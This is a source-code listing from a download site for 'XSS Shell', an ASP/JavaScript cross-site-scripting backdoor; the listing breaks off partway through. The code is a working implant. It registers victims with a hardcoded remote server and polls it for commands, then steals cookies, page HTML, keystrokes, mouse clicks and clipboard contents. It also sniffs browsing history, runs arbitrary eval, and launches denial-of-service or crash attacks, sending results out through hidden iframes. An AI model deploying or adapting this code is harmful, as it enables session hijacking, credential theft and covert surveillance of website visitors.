xssshell.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:34k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <% 
  2. ' -------------------------
  3. ' XSS SHELL v0.6.2
  4. ' -------------------------
  5. ' Ferruh Mavituna - ferruh{at}mavituna.com
  6. '
  7. '
  8. ' For details and changelog refer to README file.
  9. '
  10. ' -------------------------
  11. ' LICENCE
  12. ' -------------------------
  13. ' XSS Shell, XSS Backdoor for more effective XSS attacks
  14. ' Copyright (C) {2006-2007} {Ferruh Mavituna} http://ferruh.mavituna.com
  15. '
  16. ' This program is free software; you can redistribute it and/or modify it
  17. ' under the terms of the GNU General Public License as published by the Free
  18. ' Software Foundation; either version 2 of the License, or (at your option)
  19. ' any later version.
  20. '
  21. ' This program is distributed in the hope that it will be useful, but WITHOUT
  22. ' ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  23. ' FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  24. '
  25. ' You should have received a copy of the GNU General Public License along with
  26. ' this library; if not, write to the Free Software Foundation, Inc., 59 Temple
  27. ' Place, Suite 330, Boston, MA 02111-1307 USA
  28. '
  29. 'Prevent caching (if you want)
  30. Response.CacheControl = "no-cache" 
  31. Response.AddHeader "Pragma", "no-cache" 
  32. Response.Expires = -1 
  33. 'Load VBScript
  34. If Request.Querystring("vb") > 0 Then LoadVb() : Response.End
  35. '/*
  36. ' VICTIM CONFIG
  37. '*/
  38. Const DefaultID = 336699
  39. Const BroadCast = 336699
  40. Dim VicID, VicAdd
  41. VicID = CLng(fm_QNStr("v"))
  42. 'Generate new Victim on the fly
  43. If VicID = BroadCast Then VicID = fm_RndNumeric
  44. 'Add if not default victim 
  45. If VicID <> DefaultID Then VicAdd = "&v=" & VicID
  46. %>
  47. /*
  48. DEBUG CONFIG
  49. */
  50. // Debug verbose level (0 = nothing, 1 = verbose, 2 = very verbose)
  51. var DEBUGLEVEL = 0;
  52. // Normally victim ID should be unique we can not trust IP its not so reliable, but maybe later as an option
  53. var VICTIM = "<%=VicID%>";
  54. /*
  55. ----------------------------------------------
  56. SERVER CONFIG
  57. ----------------------------------------------
  58. */
  59. // You XSSShell Server
  60. var SERVER = "http://winnie.imzone.in:60000/"; 
  61. // This file's name
  62. var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ; 
  63. // Connector file
  64. var CONNECTOR = SERVER + "admin/connector.asp"; 
  65. // Commands file
  66. var COMMANDS_URL = SERVER + "admin/commands.asp"; 
  67. /*
  68. ----------------------------------------------
  69. END OF SERVER CONFIG
  70. ----------------------------------------------
  71. Rest of the configuration includes detailed config. If you don't want fine tuning you don't need touch it.
  72. */
  73. // Vbs file
  74. var VBS_URL = ME + "&vb=1"; 
  75. /*
  76. FRAME REGEN CONFIG
  77. */
  78. // This URL will be regenerated (so you can force victim to redirect somewhere else maybe login page or something right after the infection)
  79. var THIS_SRC = "?rand="+generateID(); 
  80. // Regen properties
  81. var REGEN_IFRAME_ID = "IframeRogue";
  82. var CONTROLLER_ID = "ControllerFrame";
  83. var LOADER_ID = "IframeLoader";    
  84. var IFRAME_TITLE_FREQ = 500;
  85. // Random identifier for DoS attacks
  86. var RANDOM_INT = "{RANDOM}"
  87. /*
  88. FEATURES CONFIG
  89. */
  90. // Regenerate page in frames to keep it alive
  91. var REGENERATE_PAGE = true;
  92. // Keylogger
  93. var LOAD_KEYLOGGER = true;
  94. // Mouselogger (for virtual keyboards etc.)
  95. var LOAD_MOUSELOGGER = true;
  96. // Get current DOM on every click ! Only works if mouselogger enabled
  97. var GET_SELF_EVERY_CLICK = false;
  98. /*
  99. CONSTANTS
  100. */
  101. // IE 4.0 Limit = 2083
  102. // 1024 is a secure one...
  103. var BUFFER_LIMIT = 1024; 
  104. // Myself
  105. var XSSSHELL = true;
  106. // Space for other stuff
  107. BUFFER_LIMIT -= 200; 
  108. /*
  109. COMMUNICATION ENUMS
  110. */
  111. // Send & Rec. not going to work in cross domain for almost all browsers so just for fun...
  112. var XMLHTTP = 0;
  113. // Just sending (to receive from an Iframe see ROUND_TRIP model)
  114. var IFRAME = 1;
  115. // Generally just for receieve
  116. var IMG = 2;
  117. // Load remote JS and parse it.
  118. var JSMODEL = 3;
  119. // Make roundtrips with payload to server and read from Iframe URL
  120. var ROUND_TRIPS = 4;
  121. /*
  122. COMMUNICATION / TUNNEL CONFIG
  123. */
  124. var recCommunication = JSMODEL;
  125. var sendCommunication = IFRAME;
  126. var communication = recCommunication;
  127. /*
  128. TIME CONFIG
  129. */
  130. // Process Commmand wait frequency as ms
  131. // This is important, because we don't track responses which means we blindly uses same iframe for every command response, which means lots of fucked up threads....
  132. var PROCESS_FREQ = 1000; //1000;
  133. // Request for new commmands frequency as ms
  134. var REQUEST_FREQ = 500;
  135. // Remote load control frequency
  136. var REMOTE_JS_CHECK_FREQ = 100;
  137. // If there is no getCommand() call we try to make it alive again
  138. var REQ_TIMEOUT = 5000;
  139. // If something goes server-response wait before remove last commands from que
  140. var WAIT_AND_CALL = 2000;
  141. // When you launch DoS all victims is going to start this number of connections by default (also you can supply this number while sending command)
  142. var DEFAULT_DOS_CONNECTION = 500;
  143. /*
  144. INTERNAL GLOBAL
  145. */
  146. // Log Types
  147. var HTMLPAGE = 1;
  148. var TEXT = 2;
  149. var REPORT = 3;
  150. // Broadcast victim, accept everytime
  151. var BROADCAST_VICTIM = 336699;
  152. // Keylogger Data
  153. var keyloggerData = "KEYLOGGER:";
  154. // Mouse Logger Data
  155. var mouseLoggerData = "";
  156. // Any commands return or not
  157. var anyCommands = false;
  158. /*
  159. COMMANDS
  160. If you want to add a new feature add it to here.
  161. */
  162. // Command Enums
  163. var CMD_GETCOOKIE = 1;
  164. var CMD_GETSELFHTML = 2 ;
  165. var CMD_ALERT = 3;
  166. var CMD_YESNO = 4;
  167. var CMD_EVAL = 5;
  168. var CMD_GETKEYS = 6;
  169. var CMD_GETMOUSE = 7;
  170. var CMD_GETCLIPBOARD = 8;
  171. var CMD_GETINTERNALIP = 9;
  172. var CMD_PORTSCAN = 10;
  173. var CMD_HISTORY = 11;
  174. var CMD_GETURL = 12;
  175. var CMD_DOS = 13;
  176. var CMD_CRASH = 14;
  177. var CMD_STOPDOS = 15;
  178. var CMD_GETLOCATION = 16;
  179. // Build Data Types
  180. var dataTypes = new Array();
  181. dataTypes[CMD_GETCOOKIE] = TEXT ;
  182. dataTypes[CMD_GETSELFHTML] = HTMLPAGE ;
  183. dataTypes[CMD_ALERT] = TEXT ;
  184. dataTypes[CMD_YESNO] = TEXT ;
  185. dataTypes[CMD_EVAL] = TEXT ;
  186. dataTypes[CMD_GETKEYS] = TEXT ;
  187. dataTypes[CMD_GETMOUSE] = TEXT ;
  188. dataTypes[CMD_GETCLIPBOARD] = TEXT ;
  189. dataTypes[CMD_GETINTERNALIP] = TEXT ;
  190. dataTypes[CMD_PORTSCAN] = TEXT ;
  191. dataTypes[CMD_HISTORY] = TEXT ;
  192. dataTypes[CMD_GETURL] = HTMLPAGE ;
  193. dataTypes[CMD_DOS] = TEXT ;
  194. dataTypes[CMD_CRASH] = TEXT ;
  195. dataTypes[CMD_STOPDOS] = TEXT;
  196. dataTypes[CMD_GETLOCATION] = TEXT ;
  197. var NO_RECORD = 0;
  198. /*
  199. TOTALLY INTERNAL CONFIG
  200. */
  201. // Timeout Check
  202. var lastAccess=0;
  203. // Internal
  204. var d = document;
  205. // Switch to context
  206. var td = document;
  207. var DEBUG_DIV = "debugshell";
  208. var IFRAME_ID = "communicationIframe";
  209. var CALLBACK_PARAM = "<<RESPONSE>>";
  210. var COMMAND_SEPERATOR = "{|}";
  211. var REMOTE_SCRIPT_ID = "remoteJs";
  212. var FORM_ID = "r_control_tunnel";
  213. // Command Que - FIFO
  214. var commands = new Array();
  215. // IE
  216. var ie = d.all;
  217. // Command Structure
  218. function command(cmd, param, attackID) { 
  219. this.cmd = cmd;
  220. this.param = param.split("|,|"); // Convert to array
  221. this.attackID = attackID;
  222. }
  223.                    
  224. // Setup onload initilaizer
  225. window.onload += function(){
  226. init();
  227. };
  228. /*
  229. DESCRIPTION;
  230. Get current page HTML
  231. @Return : HTML Code of current page
  232. */
  233. function getSelfHtml(){
  234. return getDomain().body.parentNode.innerHTML;
  235. }
  236. /*
  237. DESCRIPTION;
  238. Get current document cookie
  239. @Return : Cookie of current document
  240. */
  241. function getCookie(){
  242. return d.cookie;    
  243. }
  244. function getHistory(list){
  245. var ret="";
  246. var checkLinks = list.split("n");
  247. for (var i=0;i<checkLinks.length ;i++ )
  248. ret += checkLinks[i] + ":" + IsVisited(checkLinks[i]) + "{n}";
  249. return ret;
  250. }
  251. /*
  252. DESCRIPTION;
  253. Generate a new hidden div for history checking
  254. HISTORY
  255. Damn IE!, I have to update the code beacause of stupid IE. Now it's generating new iframe and putting style sheet into it then checking...
  256. */
  257. var CHECK_BOX = "IFRAME_CHECKBOX_ID";
  258. function getDummyIframe(){
  259. var IEdyn = d.getElementById(CHECK_BOX);
  260. if (!IEdyn){
  261. IEdyn = d.createElement("iframe");
  262. IEdyn.style.visibility = "hidden";
  263. IEdyn.id = CHECK_BOX;
  264. d.body.appendChild(IEdyn);
  265. var df = getFrameCont(IEdyn);
  266. var style  = "<style>a:visited{width:0px};</style>";
  267. df.open();
  268. df.write(style);
  269. df.close();
  270. }
  271. return IEdyn;
  272. }
  273. /*
  274. DESCRIPTION;
  275. Get frame document cross-browser
  276. */
  277. function getFrameCont(frame){
  278. var fd = frame.contentDocument;
  279. if(!fd)fd = frame.contentWindow.document;
  280. return fd;
  281. }
  282. /*
  283. DESCRIPTION;
  284. Checks given link and retur true if visited false otherwise
  285. */
  286. function IsVisited(link){
  287. var df = getFrameCont(getDummyIframe());
  288. var checkLink = df.createElement("a");
  289. checkLink.href = link;
  290. df.body.appendChild(checkLink);
  291. if (checkLink.currentStyle)
  292. visited = checkLink.currentStyle["width"];
  293. else 
  294. visited = df.defaultView.getComputedStyle(checkLink, null).getPropertyValue("width");
  295. return (visited == "0px");
  296. }
  297. /*
  298. Return the name of loaded frame
  299. */
  300. function whereAmI(){
  301. for (var i=0;i<parent.window.frames.length ;i++ ){
  302. if (parent.window.frames[i].document == self.document){
  303. return parent.window.frames[i].name;
  304. }
  305. }
  306. return "0";
  307. }
  308. /*
  309. DESCRIPTION;
  310. Main init function handle onload stuffs
  311. */
  312. function init(){
  313. d.loadXSS=true;
  314. // Regenerate page in frames
  315. if(REGENERATE_PAGE){
  316. // Regenerate current page in frames
  317. if(parent.window.frames[0]){
  318. // Check if loaded in Rogueframe
  319. if ( whereAmI() == REGEN_IFRAME_ID ){
  320. return;
  321. }
  322. // Check if loaded in Controller
  323. if ( whereAmI() == CONTROLLER_ID ){
  324. checkTitleChanges();
  325. }
  326. }else{ // First load - Generate and get out !
  327. window.setTimeout(addRegenFramesets, 1);
  328. return;
  329. }
  330. }
  331. // TODO : REFACTOR
  332. // In fact this keylogger and mouselogger is *almost* useless in regenerated pages !
  333. // Load Keylogger
  334. if(LOAD_KEYLOGGER)
  335.        document.onkeypress = logKeys;
  336. // Load MouseLogger
  337.     if(LOAD_MOUSELOGGER)
  338.         document.onclick = logMouse;
  339. // Command Channel
  340. commandListener();
  341. // Check for potential connection error and re-attempt to connect
  342. checkTimeout();
  343. // Load vbscript
  344. loadVb(VBS_URL);
  345. // Handle errors
  346. if(!debug)window.onerror = handleError;
  347. debug("init finished !", 2);
  348. }
  349. /*
  350. DESCRIPTION;
  351. Handle errors and try to keep connection alive...
  352. */
  353. function handleError(){
  354. // On error remove received commands
  355. //getCommands();
  356. }
  357. /*
  358. DESCRIPTION;
  359. Remove given command with ERR response
  360. */
  361. function removeCommand(cmd){
  362. log("ERR", TEXT, cmd.attackID, " ");
  363. }
  364. /*
  365. DESCRIPTION;
  366. Check timeout problems every second and reconnect if connection dropped
  367. */
  368. function checkTimeout(){
  369. var now = new Date().getTime();
  370. // Get commands again if we didn't do it for a long time
  371. if (now - REQ_TIMEOUT > lastAccess){
  372. getCommands()
  373. }
  374. window.setTimeout("checkTimeout()", 1000);
  375. }
  376. /*
  377. Get current document context (why named getDomain() ?)
  378. May switch optionally to support other issues
  379. */
  380. function getDomain(){
  381. return parent.window.frames[REGEN_IFRAME_ID].document;
  382. }
  383. /*
  384.     Source Partially : http://www.howtocreate.co.uk/jslibs/otherdemo.html
  385. */
  386. function logKeys( e ) {
  387.   if( !e ) { e = window.event; } 
  388.   if( !e ) { return; }
  389.   
  390.   if( e.which ) { key = e.which; } 
  391.   else if( e.keyCode ) { key = e.keyCode; } 
  392.   else if( e.charCode ) { key = e.charCode }
  393.     key = String.fromCharCode(key);
  394. // Log
  395. keyloggerData += key;
  396.     debug(key, 2);
  397. }
  398. /*
  399. DESCRIPTION;
  400. Get commands from server and que them via pushCommands()
  401. */
  402. function getCommands(){
  403. // Update time
  404. lastAccess = new Date().getTime();
  405. debug("Request done for commands", 2);
  406. debug(COMMANDS_URL + "?v=" + VICTIM, 2);
  407. if( !getRequest(COMMANDS_URL + "?v=" + VICTIM + "&r=" + generateID(), pushCommands, recCommunication) ){
  408.         //window.setTimeout("getCommands()", REQUEST_FREQ);
  409.     }
  410. processCommand();
  411. }
  412. /*
  413. DESCRIPTION;
  414. Push commands
  415. */
  416. function pushCommands(cmd){
  417. // No job
  418. if(cmd == NO_RECORD) {
  419. debug("No commands to process!", 2);
  420. //window.setTimeout("getCommands()", REQUEST_FREQ);
  421.         return ;
  422. }
  423. debug("Commands gathered : " + cmd, 1);
  424. //Go for it...
  425. var allCommands = cmd.split(COMMAND_SEPERATOR);
  426. for (var i = 0;i< allCommands.length; i+=3)
  427. {
  428. // Add new command
  429. var newcmd = parseCommand(allCommands, i);
  430. commands.push(newcmd);
  431. }
  432. debug("Commands in que : " + commands.length, 1);
  433. }
  434. /*
  435. DESCRIPTION;
  436. Parse raw command request array and returns as new command
  437. @rawCmd : Not exactly it's an array
  438. @baseId : Array start point
  439. RETURN;
  440. - New Command
  441. */
  442. function parseCommand(rawCmd, baseId){
  443. return new command(rawCmd[baseId], rawCmd[baseId+1], rawCmd[baseId+2]);
  444. }
  445. /*
  446. Generatre Random ID for AttackID (fix it with more random and unique stuff)
  447. */
  448. function generateID(){
  449. return Math.floor(Math.random()*999999999);
  450. }
  451. /*
  452. DESCRIPTION;
  453. Process que and fire up commands until all of them finished
  454. REMARKS;
  455. - Delayed recursive function 
  456. - Works multithreaded
  457. */
  458. function processQue(){
  459. debug("Que len : " + commands.length, 1);
  460. // No commands to manage in que
  461. if (commands.length === 0){
  462.         // Check for new commands
  463.         //window.setTimeout("getCommands()", REQUEST_FREQ);
  464.         return;
  465.     }
  466. }
  467. /*
  468. Check new commands
  469. */
  470. function commandListener(){
  471.  getCommands();
  472.  //window.setTimeout("commandListener()", REQUEST_FREQ);
  473. }
  474. /*
  475. DESCRIPTION;
  476. Process que (FIFO style)
  477. 21/04/2007
  478. - Recursively process every command until no more (I hope JS handles locking automaticly!)
  479. */
  480. function processCommand(){
  481. // No commands
  482.     if( commands.length == 0 ){
  483. //getCommands();
  484. window.setTimeout("getCommands()", REQUEST_FREQ);
  485. return;
  486. }
  487. // Get current command
  488. var cmd = commands.shift();
  489. processGivenCommand(cmd);
  490. processCommand();
  491. }
  492. /*
  493. DESCRIPTION;
  494. Wait and call callback
  495. */
  496. function waitAndCall(callback, wait){
  497. window.setTimeout(callback, wait);
  498. }
  499. /*
  500.     Internal calls for given commands
  501. */
  502. function processGivenCommand(cmd){
  503. switch (parseInt(cmd.cmd)){
  504. case CMD_GETCOOKIE:
  505.   log(getCookie(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  506. break;
  507. case CMD_GETLOCATION:
  508. log(d.location, dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();" );
  509. break;
  510. case CMD_GETSELFHTML:
  511. log(binEncode(getSelfHtml()), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();" );
  512. break;
  513. case CMD_EVAL:
  514. eval(cmd.param[0]);
  515. log("Success", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();");
  516. break;
  517. case CMD_ALERT:
  518. alert(cmd.param[0]);
  519. log("Success", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun();");
  520. break;
  521. case CMD_YESNO:
  522. log(prompt(cmd.param[0], ""), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  523. break;
  524.         case CMD_GETKEYS:
  525. log(keyloggerData, dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  526. break;
  527.         case CMD_GETMOUSE:
  528.             log(mouseLoggerData, dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  529. break;
  530.         case CMD_GETCLIPBOARD:
  531.             log(getClipboard(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  532. break;
  533.         case CMD_GETINTERNALIP:
  534.             log(getInternalIP(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  535. break;
  536. /*        case CMD_PORTSCAN:
  537.             log(portScan(cmd.param[0], cmd.param[1]), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()" );
  538. break; */
  539.         case CMD_HISTORY:
  540. log(getHistory(cmd.param[0]), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  541. break;
  542.         case CMD_GETURL:
  543. cmdGetURL(cmd);
  544. break;
  545.         case CMD_CRASH:
  546. log("Don't expect a response!", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  547. cmdCrash();
  548. break;
  549.         case CMD_DOS:
  550. log("DoS Started", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  551. var force = DEFAULT_DOS_CONNECTION;
  552. // Get from master param
  553. if (cmd.param[1] != undefined)force = cmd.param[1];
  554. stopDoS = true;
  555. cmdDoS(cmd.param[0], force);
  556. break;
  557. case CMD_STOPDOS:
  558. stopDoS = true;
  559. log("DoS should be stopped.", dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");
  560. }
  561. }
  562. /*
  563.     Dummy Wait
  564.     
  565. */
  566. function waitAndRun(){
  567.     debug("Command Processed", 2);
  568. }
  569. /*
  570. DESCRIPTION;
  571. Write debug information to DEBUG_DIV
  572. @msg : Debug Message
  573. REMARKS;
  574. - Only for debug...
  575. 16/08/2006
  576. - Debug verbose level added
  577. */
  578. function debug(msg, level){
  579. if(DEBUGLEVEL == 0 )
  580. return;
  581. if(typeof level == "undefined")
  582. level = 0;
  583. // Check for debug level and show
  584. if(level <= DEBUGLEVEL){
  585. generateDebugConsole();
  586. d.getElementById(DEBUG_DIV).innerHTML += "- " + msg + "<br>" ;
  587. }
  588. }
  589. /*
  590. DESCRIPTION;
  591. Check for debug console generate if it's not already around
  592. REMARKS;
  593. - Only for debug...
  594. */
  595. function generateDebugConsole(){
  596. if(d.getElementById(DEBUG_DIV) === null) {
  597. var debugConsole;
  598. debugConsole = d.createElement("div");
  599. debugConsole.innerHTML = "<strong>Debug Console!</strong><hr>";
  600. debugConsole.id = DEBUG_DIV;
  601. d.body.appendChild(debugConsole);
  602. //debugConsole.className = DEBUG_DIV; // Damn its not working in IE I dont know why! so I did it by my dirty JS hands
  603. var dc = debugConsole.style;
  604. dc.color = "#0F0";
  605. dc.backgroundColor="#000";
  606. dc.padding="3px";
  607. dc.width = "400px";
  608. dc.border="1px solid #F00";
  609. dc.fontSize="11px";
  610. dc.fontFamily="Lucida Sans";
  611. }
  612. }
  613. /*
  614. DESCRIPTION;
  615. GetURL() source in the same domain by XMLHTTP (with POST DATA support)
  616. */
  617. function cmdGetURL(cmd){
  618. var postData="";
  619. if (cmd.param.length>0)
  620. postData = cmd.param[1];
  621. getRequest(cmd.param[0], getURLHandler, postData,  XMLHTTP, dataTypes[cmd.cmd], cmd.attackID);
  622. }
  623. /*
  624. DESCRIPTION;
  625. Handle getURL() event and send to master
  626. 08.04.2007
  627. - Binary Encoding added
  628. */
  629. function getURLHandler(dataType, attackID, response){
  630. //response = buildResponse(response);
  631. // TODO: Implement timeout for request and run wait and run if something goes wrong...
  632. log(buildResponse(response), dataType, attackID, "waitAndRun()");
  633. }
  634. /*
  635. DESCRIPTION;
  636. Do Request to Master
  637. @data : Data will be send to master
  638. @dataType : Datatype HTML, Text etc.
  639. @attackID : Attack ID identifier
  640. REMARK;
  641. - SERVER hardcoded in Config
  642. TODO;
  643. + DONE + Potential BUG TODO : Escape Chars Fix with URL Encode
  644. - Implement POST support
  645. HISTORY;
  646. - Data type added
  647. - Encoding added
  648. - AttackID added
  649. - Function seperated into 2 parts, log is now only prepare data and send it to getRequest() core function
  650. */
  651. function log(data, dataType, attackID, callBack){
  652. url = CONNECTOR + "?r=" + generateID();
  653. postData = "d=" + escape(data) + "&t=" + escape(dataType) + "&a=" + escape(attackID);
  654. getRequest(url, callBack, postData,  sendCommunication);
  655. }
  656. /*
  657. Dummy Iframe Generator for submit 
  658. DESCRIPTION;
  659. Add Iframe for hidden communication
  660. FIXED + IE version more stable with Iframe regeneration.
  661. TODO;
  662. We need to keep track of Iframes and destroy them for a better memory management (not quite sure about the load)
  663. */
  664. function addIframe(){
  665.     var iframeLoader = d.getElementById(LOADER_ID);   
  666.     
  667.     try{
  668. // New loader if not exist
  669. if( !iframeLoader ){
  670. var tmpDiv = d.createElement("div");
  671. tmpDiv.id = LOADER_ID;
  672. d.body.appendChild(tmpDiv);
  673. }
  674. }catch(e){
  675. debug("Adding new div failed !", 1);
  676. }
  677.     
  678.     // TODO : Keep track of Iframe names in commands and destroy when complete command for memory issues
  679. // Generate a random Iframe Name
  680. var IframeName = IFRAME_ID + Math.floor(Math.random()*99999999); 
  681. // If exist remove Iframe
  682.     try{
  683. if( d.getElementById(IframeName) ){
  684. d.getElementById(LOADER_ID).innerHTML = "";
  685. }
  686. }catch(e){
  687. debug("Removing loader failed !", 1);
  688. }
  689.     
  690. try{
  691. // FIX : IE5 dynamic Iframe issues
  692.         cIframe = d.createElement("iframe");
  693. cIframe.id = IframeName;
  694. cIframe.name = IframeName;
  695. if(DEBUGLEVEL == 0){
  696.             cIframe.style.visibility = "hidden";
  697.        /*cIframe.width=0;
  698.         cIframe.height=0;
  699.      cIframe.border=0;   */
  700.         }
  701. }catch(e){
  702. debug("Iframe generation failed !");
  703. }
  704. iframeLoader = d.getElementById(LOADER_ID);   
  705. iframeLoader.appendChild(cIframe);
  706.      //cIframe.src = "empty.htm";
  707. return IframeName;
  708. }
  709. /*
  710. DESCRIPTION;
  711. Get xmlhttprequest object for gecko and IE style
  712. - External Soource Code : Lost the place where I rip-off this snippet!
  713. */
  714. function getXHR(){
  715. if( !window.XMLHttpRequest && window.ActiveXObject ) {
  716.  window.XMLHttpRequest = function() {
  717.   var a = [ 'Microsoft.XMLHTTP'];//'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.4.0', 'Msxml2.XMLHTTP.5.0' ,
  718.    i = a.length; while(i--) {
  719.    try {
  720. return new ActiveXObject( a[i] );
  721.    } catch (e) { }
  722.   }
  723.   return null;
  724.  };
  725. }
  726. var xmlhttp;
  727. if( window.XMLHttpRequest ) {
  728.  xmlhttp = new XMLHttpRequest();
  729. }
  730. if( !xmlhttp ) {
  731.  debug( 'Sorry, creating the XMLHttpRequest object failed.' );
  732. }
  733. return xmlhttp;
  734. }
  735. /*
  736. DESCRIPTION;
  737. Core communication function
  738. @url : Request URL
  739. @callBack : Callback function, will fire when we receive response
  740. RETURN;
  741.    Error status, True or False
  742. REMARK;
  743. 10/08/2006
  744. - Communication tunnels are changed and now optional
  745.         14/08/2006
  746.             - Global communication removed
  747. 08.04.2007
  748. - Yay, no eval any more, so we able get rid of potential XSS in here and a better code
  749. 21/04/2007
  750. - Thread safe XMLHTTP requests
  751.             
  752. */
  753. function getRequest(url, callBack, postData, GetModel, opt1, opt2){
  754. debug("Request : " + url, 2);
  755. // POST Support
  756. isPost = (postData != "" && postData != null);
  757.     
  758. // Fix to generic if it's not supplied 
  759.     if ( typeof GetModel == "undefined")
  760.    GetModel = communication;
  761.        
  762. // Select communication type
  763. switch(GetModel){
  764. case XMLHTTP:
  765.          debug("Using XMLHTTP", 2);
  766. xmlhttp = getXHR();
  767. xmlhttp.open((isPost) ? "POST" : "GET", url, (!ie));
  768. // Add post headers
  769. if(isPost)
  770. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  771. //Read binary
  772. if(ie) {
  773. xmlhttp.setRequestHeader("Accept-Charset", "x-user-defined");
  774. xmlhttp.setRequestHeader("Content-Type", "application/pdf");
  775. }else{
  776. xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");
  777. }
  778. xmlhttp.onreadystatechange=function() {
  779. if (xmlhttp.readyState==4) {
  780. // Process Response 
  781. callBack(opt1, opt2, xmlhttp);
  782. }
  783. };
  784. xmlhttp.send(postData);
  785. break;
  786.         case IFRAME:
  787.             
  788.             // Maybe we should do this though DOM. Then it seems more professional with createlement...
  789.             var formHtml = "<form name="" + FORM_ID + "" id="" + FORM_ID + "" method="POST" action="" + url + "" >";
  790.             
  791.             var formData = postData.split("&");
  792.             for (var i = 0; i<formData.length; i++){
  793.                var fieldStruct = formData[i].split("=");
  794.                formHtml += "<input name="" + fieldStruct[0] + "" value="" + fieldStruct[1] + "" type="hidden">"; 
  795.             }
  796.             
  797.             formHtml += "</form>";
  798.             
  799.             // submit onload
  800.             formHtml += "<script>window.onload=function(){document.forms[0].submit();}</script>";
  801.             
  802.             
  803.             buildAndSubmitForm(formHtml);
  804.             if(!callBack)
  805. callBack("Form Process Started...");
  806. break;
  807. // use Img src method... 
  808.         // Just sending, and also you can get commands from loaded dimensions ...
  809.         case IMG:
  810.          debug("IMG mode not implemented!");
  811.          break;
  812.          
  813. // Just sending...
  814. // Load remote js and read
  815.         case JSMODEL: // No post data support
  816.   loadJs(url);
  817.      // Response
  818.      remoteJsLoadControl(callBack);
  819.      
  820.          break;
  821. }
  822. // Normally we should check for errors
  823.     return true;
  824. }
  825. /*
  826. Response Channel...
  827. */
  828. function buildAndSubmitForm(html){
  829.     var IframeName = addIframe();
  830.      
  831. try{
  832. if(ie){ //IE (doesnt work stable in FF)
  833. window.frames[IframeName].document.write(html);
  834. window.frames[IframeName].document.close();
  835. }else{ // FF
  836. d.getElementById(IframeName).contentWindow.document.write(html);
  837. d.getElementById(IframeName).contentWindow.document.close();
  838. }
  839. }catch(e){
  840. debug("Blown - n" + e, 1);
  841. }
  842.     debug("Response form submitted !, " + commands.length + " more commands in que", 1);
  843.  }
  844. /*
  845. DESCRIPTION;
  846. Check remote Js Loaded or Not 
  847. @evalCallBack : Dirty Callback implementation, Function as String
  848. REMARK;
  849.         14/08/2006
  850.             - Started
  851.             
  852. */
  853. // Timeout control for remote loading 
  854. var remoteTimer = null;
  855. /*
  856.     Check remote JS loaded. If it's loaded fire up callback.
  857. */
  858. function remoteJsLoadControl(callBack){
  859.     if(typeof c !== "undefined"  && c !== null){ // Loaded
  860.                 
  861. var remoteResponse;
  862. remoteResponse = c();
  863. callBack(remoteResponse);
  864.     
  865.      clearJsLoadControl();          
  866.     }else{    
  867.         remoteTimer = window.setTimeout("remoteJsLoadControl(" + callBack + ")", REMOTE_JS_CHECK_FREQ);
  868.         
  869.     }
  870. }
  871. /*
  872.     DEPRECATED ?
  873. Clear remote js load controller timeout
  874. */
  875. function clearJsLoadControl(){
  876.     
  877.     clearTimeout(remoteTimer);
  878.     c = null; // For future requests
  879.     remoteTimer = null;
  880.     
  881. }
  882. /*
  883. DESCRIPTION;
  884. Dynamicly load remote JS file for getting new commands
  885. @src : Request URL
  886. @evalCallBack : Dirty Callback implementation, Function as String
  887. REMARK;
  888. HISTORY;
  889. 14/08/2006
  890. - Start
  891. */
  892. function loadJs(src) {
  893.     // Possible problem with corrupted HTML pages or pages with no <head> tags
  894.    var head = d.getElementsByTagName("head")[0];
  895.    script = d.createElement('script');
  896.    script.id = REMOTE_SCRIPT_ID;
  897.    script.type = 'text/javascript';
  898.    script.src = src;
  899.    head.appendChild(script);
  900.    debug("Remote JS DOM call started ...", 2);
  901.    
  902.  }
  903. /*
  904. DESCRIPTION;
  905. Dynamicly load remote VB file (only load if browser is IE) 
  906. @src : VB File URL
  907. REMARK;
  908. Should be combined with loadJs to avoid duplicating code.
  909. HISTORY;
  910. 14/08/2006
  911. - Start
  912. */
  913. d.vb=false;
  914. function loadVb(src) {
  915.     if (d.vb || !ie)return;
  916. // Possible problem with corrupted HTML pages or pages with no <head> tags
  917.    var head = d.getElementsByTagName("head")[0];
  918.    script = d.createElement('script');
  919.    script.id = "vbcall";
  920.    script.type = 'text/vbscript';
  921.    script.src = src+"&"+generateID();
  922.    head.appendChild(script);
  923.    d.vb = true;
  924.    debug("Remote VB call started ...", 2);  
  925.  }
  926. /*
  927.     Get cursor coordinates
  928. */
  929. function fm_MXY(XorY){ // Mouse Coords
  930. var coord = 0;
  931. if(coord<0)coord=0;
  932. return coord;
  933. }
  934. /*
  935.     Function Log mouse positions
  936. */
  937. function logMouse(e){
  938. var coordX=coordY=0;
  939.     if(ie){
  940.         coordX = event.clientX + d.body.scrollLeft;
  941.         coordY = event.clientY + d.body.scrollTop;
  942.     }
  943.     else
  944.     {
  945.         coordX = e.pageX + d.body.scrollLeft;
  946.         coordY = e.pageY + d.body.scrollTop;
  947.     }
  948.     
  949.     mouseLoggerData += coordX + "-" + coordY + ";";
  950.     
  951.     if(GET_SELF_EVERY_CLICK)
  952.         processGivenCommand(new command(CMD_GETSELFHTML, "", BROADCAST_VICTIM));
  953.     
  954.     debug(coordX + " - " + coordY, 2);
  955. }
  956. /*
  957.     Get clipboard data
  958. */
  959. function getClipboard(){
